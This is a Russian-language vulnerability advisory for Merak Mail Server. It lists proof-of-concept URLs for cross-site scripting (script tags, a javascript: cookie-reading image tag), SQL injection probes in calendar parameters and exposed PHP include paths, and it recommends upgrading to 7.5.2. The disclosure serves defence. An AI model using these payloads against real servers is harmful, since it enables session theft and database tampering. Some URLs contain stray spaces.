Несколько уязвимостей в Merak Mail Server

Описание: Несколько уязвимостей обнаружено в Merak Mail Server. Удаленный пользователь может внедрить SQL команды и выполнить XSS нападение. Удаленный пользователь может загрузить PHP файлы.

1. XSS:

 
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert() </script>&
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=
/address.html?id=[id]&sort=name&selectsort=&glob al=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]
/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=
/addre ss.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[ XSS]&category=&cserver=&ext=
/settings.html?autoresponder=1&id=[id]&spage=">[XSS]
/settings.html?autoresponder=">[XSS]&id=[id]&spage=0
/readmail.html?id=[id]&fol der=">[XSS]
/attachment.html?attachmentpage_text_error=">[XSS]
/calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder=<script>alert()</script>
/calendar. html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS]
/calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8

<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline 
border=0><IFRAME src="http://www.google.com"></body> </html> </IFRAME>

/mail/address.html?id=[id]&sort=criolabs&s electsort=criolabs&global=criolabs&showlite=criolabs&category=criolabs&cserver=&ext=

/calendar.html?id=6213dcc45fdbccc9af207d32722b93a7&cv=%22criolabs&ct='criolabs&sf= 'criolabs

http://localhost:32000/mail/inc/function.php
ht tp://localhost:32000/mail/inc/function.view.php

 /calendar.html?id=1'&schedule=[SQL]
/calendar.h tml?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=';'&Eid=criolabs'

URL производителя:http://www.merakmailserver.com/Products/Merak_Mail_Server/

Решение:Установите обновленную версию программы (7.5.2).